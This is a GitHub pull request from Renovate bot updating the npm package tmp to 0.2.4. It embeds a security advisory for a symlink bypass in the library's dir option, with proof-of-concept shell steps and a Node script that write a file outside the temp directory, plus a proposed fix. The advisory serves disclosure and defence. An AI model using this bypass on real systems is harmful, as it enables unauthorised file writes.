Skip to content

chore(deps): update dependency tmp to v0.2.4 [security]#19

Closed
renovate-bot wants to merge 1 commit intogoogleapis:mainfrom
renovate-bot:renovate/npm-tmp-vulnerability
Closed

chore(deps): update dependency tmp to v0.2.4 [security]#19
renovate-bot wants to merge 1 commit intogoogleapis:mainfrom
renovate-bot:renovate/npm-tmp-vulnerability

Conversation

@renovate-bot
Copy link
Contributor

@renovate-bot renovate-bot commented Sep 19, 2025

This PR contains the following updates:

Package Change Age Confidence
tmp 0.2.3 -> 0.2.4 age confidence

GitHub Vulnerability Alerts

CVE-2025-54798

Summary

tmp@0.2.3 is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.

Details

According to the documentation there are some conditions that must be held:

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50

Other breaking changes, i.e.

- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks

are still in place.

In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
     absolute paths are fine as long as they point to a location under the system's default temporary directory.
     Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, 
     as tmp will not check the availability of the path, nor will it establish the requested path for you.

Related issue: https://github.com/raszi/node-tmp/issues/207.

The issue occurs because _resolvePath does not properly handle symbolic link when resolving paths:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
  if (name.startsWith(tmpDir)) {
    return path.resolve(name);
  } else {
    return path.resolve(path.join(tmpDir, name));
  }
}

If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the _assertIsRelative check used in _assertAndSanitizeOptions:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
  if (option === 'name') {
    // assert that name is not absolute and does not contain a path
    if (path.isAbsolute(name))
      throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
    // must not fail on valid .<name> or ..<name> or similar such constructs
    let basename = path.basename(name);
    if (basename === '..' || basename === '.' || basename !== name)
      throw new Error(`${option} option must not contain a path, found "${name}".`);
  }
  else { // if (option === 'dir' || option === 'template') {
    // assert that dir or template are relative to tmpDir
    if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
    }
    let resolvedPath = _resolvePath(name, tmpDir); //<--- 
    if (!resolvedPath.startsWith(tmpDir))
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
  }
}

PoC

The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible.
Tested on a Linux machine.

  • Setup: create a symbolic link inside the tmpDir that points to a directory outside of it
mkdir $HOME/mydir1

ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir
  • check the folder is empty:
ls -lha $HOME/mydir1 | grep "tmp-"
  • run the poc
node main.js
File:  /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".
  • the temporary file is created under $HOME/mydir1 (outside the tmpDir):
ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user    0 Apr  X XX:XX tmp-[random-id]
  • main.js
// npm i tmp@0.2.3

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);

try {
    tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
    console.log('test 1:', err.message)
}

try {
    tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
    console.log('test 2:', err.message)
}

try {
    const fs = require('node:fs');
    const resolved = fs.realpathSync('/tmp/evil-dir');
    tmp.fileSync({ 'dir': resolved});
} catch (err) {
    console.log('test 3:', err.message)
}

A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links.

function _resolvePath(name, tmpDir) {
  let resolvedPath;
  if (name.startsWith(tmpDir)) {
    resolvedPath = path.resolve(name);
  } else {
    resolvedPath = path.resolve(path.join(tmpDir, name));
  }
  return fs.realpathSync(resolvedPath);
}

Impact

Arbitrary temporary file / directory write via symlink


Release Notes

raszi/node-tmp (tmp)

v0.2.4

Compare Source


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate-bot renovate-bot requested a review from a team as a code owner September 19, 2025 16:21
@renovate-bot renovate-bot force-pushed the renovate/npm-tmp-vulnerability branch 24 times, most recently from 94787f2 to 7b19920 Compare September 25, 2025 12:31
@renovate-bot renovate-bot changed the title fix(deps): update dependency tmp to v0.2.4 [security] chore(deps): update dependency tmp to v0.2.4 [security] Sep 25, 2025
@renovate-bot renovate-bot force-pushed the renovate/npm-tmp-vulnerability branch 4 times, most recently from 5352ab0 to ddc24ef Compare September 26, 2025 22:31
@dpebot
Copy link
Contributor

dpebot commented Oct 5, 2025

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-tmp-vulnerability branch from 304ed76 to 22dc5aa Compare October 6, 2025 05:41
@dpebot
Copy link
Contributor

dpebot commented Oct 6, 2025

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-tmp-vulnerability branch from 22dc5aa to 80e66a5 Compare October 6, 2025 12:37
@dpebot
Copy link
Contributor

dpebot commented Oct 6, 2025

/gcbrun

9 similar comments
@dpebot
Copy link
Contributor

dpebot commented Oct 6, 2025

/gcbrun

@dpebot
Copy link
Contributor

dpebot commented Oct 6, 2025

/gcbrun

@dpebot
Copy link
Contributor

dpebot commented Oct 6, 2025

/gcbrun

@dpebot
Copy link
Contributor

dpebot commented Oct 6, 2025

/gcbrun

@dpebot
Copy link
Contributor

dpebot commented Oct 7, 2025

/gcbrun

@dpebot
Copy link
Contributor

dpebot commented Oct 7, 2025

/gcbrun

@dpebot
Copy link
Contributor

dpebot commented Oct 7, 2025

/gcbrun

@dpebot
Copy link
Contributor

dpebot commented Oct 8, 2025

/gcbrun

@dpebot
Copy link
Contributor

dpebot commented Oct 8, 2025

/gcbrun

@dpebot
Copy link
Contributor

dpebot commented Oct 8, 2025

/gcbrun

2 similar comments
@dpebot
Copy link
Contributor

dpebot commented Oct 9, 2025

/gcbrun

@dpebot
Copy link
Contributor

dpebot commented Oct 9, 2025

/gcbrun

@dpebot
Copy link
Contributor

dpebot commented Oct 9, 2025

/gcbrun

@forking-renovate
Copy link

Renovate Ignore Notification

Because you closed this PR without merging, Renovate will ignore this update (^0.2.3). You will get a PR once a newer version is released. To ignore this dependency forever, add it to the ignoreDeps array of your Renovate config.

If you accidentally closed this PR, or if you changed your mind: rename this PR to get a fresh replacement PR.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants